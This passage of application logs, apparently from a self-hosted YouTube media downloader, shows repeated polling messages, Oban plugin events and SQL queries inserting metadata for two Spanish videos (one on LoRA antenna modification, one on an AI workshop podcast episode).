'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1277] 22:16:24.030 [debug] Current batch of media processed. Will check again in 1000ms 22:16:24.078 [debug] Current batch of media processed. Will check again in 1000ms 22:16:25.030 [debug] Current batch of media processed. Will check again in 1000ms 22:16:25.079 [debug] Current batch of media processed. Will check again in 1000ms 22:16:26.031 [debug] Current batch of media processed. Will check again in 1000ms 22:16:26.080 [debug] Current batch of media processed. Will check again in 1000ms 22:16:27.032 [debug] Current batch of media processed. Will check again in 1000ms 22:16:27.081 [debug] Current batch of media processed. Will check again in 1000ms 22:16:28.033 [debug] Current batch of media processed. Will check again in 1000ms 22:16:28.082 [debug] Current batch of media processed. Will check again in 1000ms 22:16:29.034 [debug] Current batch of media processed. Will check again in 1000ms 22:16:29.083 [debug] Current batch of media processed. Will check again in 1000ms 22:16:30.035 [debug] Current batch of media processed. Will check again in 1000ms 22:16:30.084 [debug] Current batch of media processed. Will check again in 1000ms 22:16:31.036 [debug] Current batch of media processed. Will check again in 1000ms 22:16:31.085 [debug] Current batch of media processed. Will check again in 1000ms 22:16:32.037 [debug] Current batch of media processed. Will check again in 1000ms 22:16:32.086 [debug] Current batch of media processed. Will check again in 1000ms 22:16:33.038 [debug] Current batch of media processed. Will check again in 1000ms 22:16:33.087 [debug] Current batch of media processed. Will check again in 1000ms 22:16:34.039 [debug] Current batch of media processed. Will check again in 1000ms 22:16:34.088 [debug] Current batch of media processed. Will check again in 1000ms 22:16:35.040 [debug] Current batch of media processed. Will check again in 1000ms 22:16:35.089 [debug] Current batch of media processed. Will check again in 1000ms 22:16:36.041 [debug] Current batch of media processed. Will check again in 1000ms 22:16:36.090 [debug] Current batch of media processed. Will check again in 1000ms 22:16:37.042 [debug] Current batch of media processed. Will check again in 1000ms 22:16:37.091 [debug] Current batch of media processed. Will check again in 1000ms 22:16:38.043 [debug] Current batch of media processed. Will check again in 1000ms 22:16:38.092 [debug] Current batch of media processed. Will check again in 1000ms 22:16:39.044 [debug] Current batch of media processed. Will check again in 1000ms 22:16:39.093 [debug] Current batch of media processed. Will check again in 1000ms 22:16:40.045 [debug] Current batch of media processed. Will check again in 1000ms 22:16:40.094 [debug] Current batch of media processed. Will check again in 1000ms 22:16:41.046 [debug] Current batch of media processed. Will check again in 1000ms 22:16:41.095 [debug] Current batch of media processed. Will check again in 1000ms 22:16:42.047 [debug] Current batch of media processed. Will check again in 1000ms 22:16:42.096 [debug] Current batch of media processed. Will check again in 1000ms 22:16:43.048 [debug] Current batch of media processed. Will check again in 1000ms 22:16:43.097 [debug] Current batch of media processed. Will check again in 1000ms 22:16:44.049 [debug] Current batch of media processed. Will check again in 1000ms 22:16:44.098 [debug] Current batch of media processed. Will check again in 1000ms 22:16:45.050 [debug] Current batch of media processed. Will check again in 1000ms 22:16:45.099 [debug] Current batch of media processed. Will check again in 1000ms 22:16:46.051 [debug] Current batch of media processed. Will check again in 1000ms 22:16:46.100 [debug] Current batch of media processed. Will check again in 1000ms 22:16:47.052 [debug] Current batch of media processed. Will check again in 1000ms 22:16:47.101 [debug] Current batch of media processed. Will check again in 1000ms 22:16:48.053 [debug] Current batch of media processed. Will check again in 1000ms 22:16:48.102 [debug] Current batch of media processed. Will check again in 1000ms 22:16:49.054 [debug] Current batch of media processed. Will check again in 1000ms 22:16:49.103 [debug] Current batch of media processed. Will check again in 1000ms 22:16:50.055 [debug] Current batch of media processed. Will check again in 1000ms 22:16:50.104 [debug] Current batch of media processed. Will check again in 1000ms 22:16:51.056 [debug] Current batch of media processed. Will check again in 1000ms 22:16:51.105 [debug] Current batch of media processed. Will check again in 1000ms 22:16:51.157 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:52.057 [debug] Current batch of media processed. Will check again in 1000ms 22:16:52.106 [debug] Current batch of media processed. Will check again in 1000ms 22:16:53.058 [debug] Current batch of media processed. Will check again in 1000ms 22:16:53.107 [debug] Current batch of media processed. Will check again in 1000ms 22:16:54.059 [debug] Current batch of media processed. Will check again in 1000ms 22:16:54.108 [debug] Current batch of media processed. Will check again in 1000ms 22:16:55.060 [debug] Current batch of media processed. Will check again in 1000ms 22:16:55.109 [debug] Current batch of media processed. Will check again in 1000ms 22:16:56.061 [debug] Current batch of media processed. Will check again in 1000ms 22:16:56.110 [debug] Current batch of media processed. Will check again in 1000ms 22:16:57.062 [debug] Current batch of media processed. Will check again in 1000ms 22:16:57.111 [debug] Current batch of media processed. Will check again in 1000ms 22:16:58.063 [debug] Current batch of media processed. Will check again in 1000ms 22:16:58.112 [debug] Current batch of media processed. Will check again in 1000ms 22:16:59.064 [debug] Current batch of media processed. Will check again in 1000ms 22:16:59.113 [debug] Current batch of media processed. Will check again in 1000ms 22:17:00.065 [debug] Current batch of media processed. Will check again in 1000ms 22:17:00.093 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:00.114 [debug] Current batch of media processed. Will check again in 1000ms 22:17:01.066 [debug] Current batch of media processed. Will check again in 1000ms 22:17:01.115 [debug] Current batch of media processed. Will check again in 1000ms 22:17:02.067 [debug] Current batch of media processed. Will check again in 1000ms 22:17:02.116 [debug] Current batch of media processed. Will check again in 1000ms 22:17:03.068 [debug] Current batch of media processed. Will check again in 1000ms 22:17:03.117 [debug] Current batch of media processed. Will check again in 1000ms 22:17:04.069 [debug] Current batch of media processed. Will check again in 1000ms 22:17:04.118 [debug] Current batch of media processed. Will check again in 1000ms 22:17:05.070 [debug] Current batch of media processed. Will check again in 1000ms 22:17:05.119 [debug] Current batch of media processed. Will check again in 1000ms 22:17:06.071 [debug] Current batch of media processed. Will check again in 1000ms 22:17:06.120 [debug] Current batch of media processed. Will check again in 1000ms 22:17:07.075 [debug] Current batch of media processed. Will check again in 1000ms 22:17:07.123 [debug] Current batch of media processed. Will check again in 1000ms 22:17:08.075 [debug] Current batch of media processed. Will check again in 1000ms 22:17:08.123 [debug] Current batch of media processed. Will check again in 1000ms 22:17:09.076 [debug] Current batch of media processed. Will check again in 1000ms 22:17:09.124 [debug] Current batch of media processed. Will check again in 1000ms 22:17:10.077 [debug] Current batch of media processed. Will check again in 1000ms 22:17:10.125 [debug] Current batch of media processed. Will check again in 1000ms 22:17:11.078 [debug] Current batch of media processed. Will check again in 1000ms 22:17:11.126 [debug] Current batch of media processed. Will check again in 1000ms 22:17:12.079 [debug] Current batch of media processed. Will check again in 1000ms 22:17:12.127 [debug] Current batch of media processed. Will check again in 1000ms 22:17:13.080 [debug] Current batch of media processed. Will check again in 1000ms 22:17:13.128 [debug] Current batch of media processed. Will check again in 1000ms 22:17:14.081 [debug] Current batch of media processed. Will check again in 1000ms 22:17:14.129 [debug] Current batch of media processed. Will check again in 1000ms 22:17:15.082 [debug] Current batch of media processed. Will check again in 1000ms 22:17:15.130 [debug] Current batch of media processed. Will check again in 1000ms 22:17:16.083 [debug] Current batch of media processed. Will check again in 1000ms 22:17:16.131 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Esta vez vamos a modificar algunas antenas y vamos a probar el rendimiento, aunque sea de forma casera, para hacernos una idea de la ganancia que tienen estas antenas.\n\nAntena comercial que modificamos:\nhttps://es.aliexpress.com/item/1005006833587735.html\n\nAntena comercial No modificada:\nhttps://es.aliexpress.com/item/1005007308749444.html\n\nANTENA CONSTRUIDA (ENLACE A LOS MODELOS 3D):\nhttps://www.thingiverse.com/thing:6968438\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:49 - Intro canal\n01:07 - Introduccion\n02:35 - Antena comercial\n05:29 - Desmontando primera antena\n10:34 - Antena modificada\n11:35 - Montando antena desde cero\n19:12 - Midiendo con el nanoVNA\n20:40 - Entorno de medicion\n23:43 - Midiendo antenas\n\n#meshtastic #JPOLE #868Mhz #hamradio #mesh #redes #antenas #autoconstruidas #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2195, "filename" => "/downloads/music/ea3grn/154 - MODIFICANDO ANTENAS LORA Y COMPARANDO GANANCIAS.m4a", "id" => "RrOHzkz5agY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RrOHzkz5agY", "playlist_index" => 27, "timestamp" => 1744909238, "title" => "154 - MODIFICANDO ANTENAS LORA Y COMPARANDO GANANCIAS", "upload_date" => "20250417"} 22:17:16.132 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=742.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:17:16.133 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=374.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:17:16.134 [debug] QUERY OK source="media_items" db=0.7ms idle=375.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-17 17:00:38Z], 3] 22:17:16.136 [debug] QUERY OK source="media_items" db=1.2ms idle=376.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Esta vez vamos a modificar algunas antenas y vamos a probar el rendimiento, aunque sea de forma casera, para hacernos una idea de la ganancia que tienen estas antenas.\n\nAntena comercial que modificamos:\nhttps://es.aliexpress.com/item/1005006833587735.html\n\nAntena comercial No modificada:\nhttps://es.aliexpress.com/item/1005007308749444.html\n\nANTENA CONSTRUIDA (ENLACE A LOS MODELOS 3D):\nhttps://www.thingiverse.com/thing:6968438\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:49 - Intro canal\n01:07 - Introduccion\n02:35 - Antena comercial\n05:29 - Desmontando primera antena\n10:34 - Antena modificada\n11:35 - Montando antena desde cero\n19:12 - Midiendo con el nanoVNA\n20:40 - Entorno de medicion\n23:43 - Midiendo antenas\n\n#meshtastic #JPOLE #868Mhz #hamradio #mesh #redes #antenas #autoconstruidas #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "154 - MODIFICANDO ANTENAS LORA Y COMPARANDO GANANCIAS", "f1084f37-dda5-4b82-a522-ec198d87d464", 2195, false, "RrOHzkz5agY", "https://www.youtube.com/watch?v=RrOHzkz5agY", 27, "/downloads/music/ea3grn/154 - MODIFICANDO ANTENAS LORA Y COMPARANDO GANANCIAS.m4a", false, false, false, 3, [], 98, ~U[2025-04-17 17:00:38Z], ~U[2026-02-07 21:17:16Z], ~U[2026-02-07 21:17:16Z], "Esta vez vamos a modificar algunas antenas y vamos a probar el rendimiento, aunque sea de forma casera, para hacernos una idea de la ganancia que tienen estas antenas.\n\nAntena comercial que modificamos:\nhttps://es.aliexpress.com/item/1005006833587735.html\n\nAntena comercial No modificada:\nhttps://es.aliexpress.com/item/1005007308749444.html\n\nANTENA CONSTRUIDA (ENLACE A LOS MODELOS 3D):\nhttps://www.thingiverse.com/thing:6968438\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:49 - Intro canal\n01:07 - Introduccion\n02:35 - Antena comercial\n05:29 - Desmontando primera antena\n10:34 - Antena modificada\n11:35 - Montando antena desde cero\n19:12 - Midiendo con el nanoVNA\n20:40 - Entorno de medicion\n23:43 - Midiendo antenas\n\n#meshtastic #JPOLE #868Mhz #hamradio #mesh #redes #antenas #autoconstruidas #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "154 - MODIFICANDO ANTENAS LORA Y COMPARANDO GANANCIAS", 2195, false, "RrOHzkz5agY", "https://www.youtube.com/watch?v=RrOHzkz5agY", "/downloads/music/ea3grn/154 - MODIFICANDO ANTENAS LORA Y COMPARANDO GANANCIAS.m4a", false, 3, ~U[2025-04-17 17:00:38Z]] 22:17:16.137 [debug] QUERY OK source="sources" db=0.6ms idle=377.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:17:16.138 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:16.138 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1342] 22:17:16.139 [debug] Current batch of media processed. Will check again in 1000ms 22:17:17.084 [debug] Current batch of media processed. Will check again in 1000ms 22:17:17.139 [debug] Current batch of media processed. Will check again in 1000ms 22:17:18.085 [debug] Current batch of media processed. Will check again in 1000ms 22:17:18.140 [debug] Current batch of media processed. Will check again in 1000ms 22:17:19.086 [debug] Current batch of media processed. Will check again in 1000ms 22:17:19.141 [debug] Current batch of media processed. Will check again in 1000ms 22:17:20.087 [debug] Current batch of media processed. Will check again in 1000ms 22:17:20.142 [debug] Current batch of media processed. Will check again in 1000ms 22:17:21.088 [debug] Current batch of media processed. Will check again in 1000ms 22:17:21.143 [debug] Current batch of media processed. Will check again in 1000ms 22:17:21.159 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:22.089 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣4️⃣: La IA en mi Pueblo Adobes ♥️\n\nEl pasado capitulo hablamos de como la IA puede ayudarte en la organización de unas fiestas patronales, hoy vamos a hablar de como en nuestro pueblo, ♥️Adobes♥️, la gente usa la IA usando el contexto de un taller de IA que hicimos para todos los que quisieran venir, desde niños, a abuelos pasando por gente activa de todos los sectores.\n\nAsí que aquí os dejamos un capitulo especial para nosotros ... y espero que revelador para vosotros ... por que si todavía eres de los que crees que esto no va contigo....💣☠️\n\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Adobes", "duration" => 795, "filename" => "/downloads/music/IA mí QUÉ/EP.24: CURSO IA EN NUESTRO PUEBLO.m4a", "id" => "a5rYitedsqA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a5rYitedsqA", "playlist_index" => 26, "timestamp" => 1755507112, "title" => "EP.24: CURSO IA EN NUESTRO PUEBLO", "upload_date" => "20250818"} 22:17:22.090 [debug] QUERY OK source="sources" db=0.6ms idle=930.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:17:22.091 [debug] QUERY OK source="sources" db=0.4ms idle=689.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.092 [debug] QUERY OK source="media_items" db=0.7ms idle=332.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-18 08:51:52Z], 2] 22:17:22.093 [debug] QUERY OK source="media_items" db=1.0ms idle=333.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣4️⃣: La IA en mi Pueblo Adobes ♥️\n\nEl pasado capitulo hablamos de como la IA puede ayudarte en la organización de unas fiestas patronales, hoy vamos a hablar de como en nuestro pueblo, ♥️Adobes♥️, la gente usa la IA usando el contexto de un taller de IA que hicimos para todos los que quisieran venir, desde niños, a abuelos pasando por gente activa de todos los sectores.\n\nAsí que aquí os dejamos un capitulo especial para nosotros ... y espero que revelador para vosotros ... por que si todavía eres de los que crees que esto no va contigo....💣☠️\n\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Adobes", "EP.24: CURSO IA EN NUESTRO PUEBLO", "e7576e05-5f2b-40cf-9aa7-0bfbd3ef8e23", 795, false, "a5rYitedsqA", "https://www.youtube.com/watch?v=a5rYitedsqA", 26, "/downloads/music/IA mí QUÉ/EP.24: CURSO IA EN NUESTRO PUEBLO.m4a", false, false, false, 2, [], 98, ~U[2025-08-18 08:51:52Z], ~U[2026-02-07 21:17:22Z], ~U[2026-02-07 21:17:22Z], "#IAMIQUE 👉🏼 Ep.2️⃣4️⃣: La IA en mi Pueblo Adobes ♥️\n\nEl pasado capitulo hablamos de como la IA puede ayudarte en la organización de unas fiestas patronales, hoy vamos a hablar de como en nuestro pueblo, ♥️Adobes♥️, la gente usa la IA usando el contexto de un taller de IA que hicimos para todos los que quisieran venir, desde niños, a abuelos pasando por gente activa de todos los sectores.\n\nAsí que aquí os dejamos un capitulo especial para nosotros ... y espero que revelador para vosotros ... por que si todavía eres de los que crees que esto no va contigo....💣☠️\n\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#Adobes", "EP.24: CURSO IA EN NUESTRO PUEBLO", 795, false, "a5rYitedsqA", "https://www.youtube.com/watch?v=a5rYitedsqA", "/downloads/music/IA mí QUÉ/EP.24: CURSO IA EN NUESTRO PUEBLO.m4a", false, 2, ~U[2025-08-18 08:51:52Z]] 22:17:22.094 [debug] QUERY OK source="sources" db=0.4ms idle=335.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:22.095 [debug] QUERY OK source="media_profiles" db=0.6ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:22.096 [debug] QUERY OK source="media_items" db=0.6ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1278] 22:17:22.096 [debug] Current batch of media processed. Will check again in 1000ms 22:17:22.144 [debug] Current batch of media processed. Will check again in 1000ms 22:17:23.096 [debug] Current batch of media processed. Will check again in 1000ms 22:17:23.145 [debug] Current batch of media processed. Will check again in 1000ms 22:17:24.097 [debug] Current batch of media processed. Will check again in 1000ms 22:17:24.146 [debug] Current batch of media processed. Will check again in 1000ms 22:17:25.098 [debug] Current batch of media processed. Will check again in 1000ms 22:17:25.147 [debug] Current batch of media processed. Will check again in 1000ms 22:17:26.099 [debug] Current batch of media processed. Will check again in 1000ms 22:17:26.148 [debug] Current batch of media processed. Will check again in 1000ms 22:17:27.100 [debug] Current batch of media processed. Will check again in 1000ms 22:17:27.149 [debug] Current batch of media processed. Will check again in 1000ms 22:17:28.101 [debug] Current batch of media processed. Will check again in 1000ms 22:17:28.150 [debug] Current batch of media processed. Will check again in 1000ms 22:17:29.102 [debug] Current batch of media processed. Will check again in 1000ms 22:17:29.151 [debug] Current batch of media processed. Will check again in 1000ms 22:17:30.103 [debug] Current batch of media processed. Will check again in 1000ms 22:17:30.152 [debug] Current batch of media processed. Will check again in 1000ms 22:17:31.104 [debug] Current batch of media processed. Will check again in 1000ms 22:17:31.153 [debug] Current batch of media processed. Will check again in 1000ms 22:17:32.105 [debug] Current batch of media processed. Will check again in 1000ms 22:17:32.154 [debug] Current batch of media processed. Will check again in 1000ms 22:17:33.106 [debug] Current batch of media processed. Will check again in 1000ms 22:17:33.155 [debug] Current batch of media processed. Will check again in 1000ms 22:17:34.107 [debug] Current batch of media processed. Will check again in 1000ms 22:17:34.156 [debug] Current batch of media processed. Will check again in 1000ms 22:17:35.108 [debug] Current batch of media processed. Will check again in 1000ms 22:17:35.157 [debug] Current batch of media processed. Will check again in 1000ms 22:17:36.109 [debug] Current batch of media processed. Will check again in 1000ms 22:17:36.158 [debug] Current batch of media processed. Will check again in 1000ms 22:17:37.110 [debug] Current batch of media processed. Will check again in 1000ms 22:17:37.159 [debug] Current batch of media processed. Will check again in 1000ms 22:17:38.111 [debug] Current batch of media processed. Will check again in 1000ms 22:17:38.160 [debug] Current batch of media processed. Will check again in 1000ms 22:17:39.112 [debug] Current batch of media processed. Will check again in 1000ms 22:17:39.161 [debug] Current batch of media processed. Will check again in 1000ms 22:17:40.113 [debug] Current batch of media processed. Will check again in 1000ms 22:17:40.162 [debug] Current batch of media processed. Will check again in 1000ms 22:17:41.114 [debug] Current batch of media processed. Will check again in 1000ms 22:17:41.163 [debug] Current batch of media processed. Will check again in 1000ms 22:17:42.115 [debug] Current batch of media processed. Will check again in 1000ms 22:17:42.164 [debug] Current batch of media processed. Will check again in 1000ms 22:17:43.116 [debug] Current batch of media processed. Will check again in 1000ms 22:17:43.165 [debug] Current batch of media processed. Will check again in 1000ms 22:17:44.117 [debug] Current batch of media processed. Will check again in 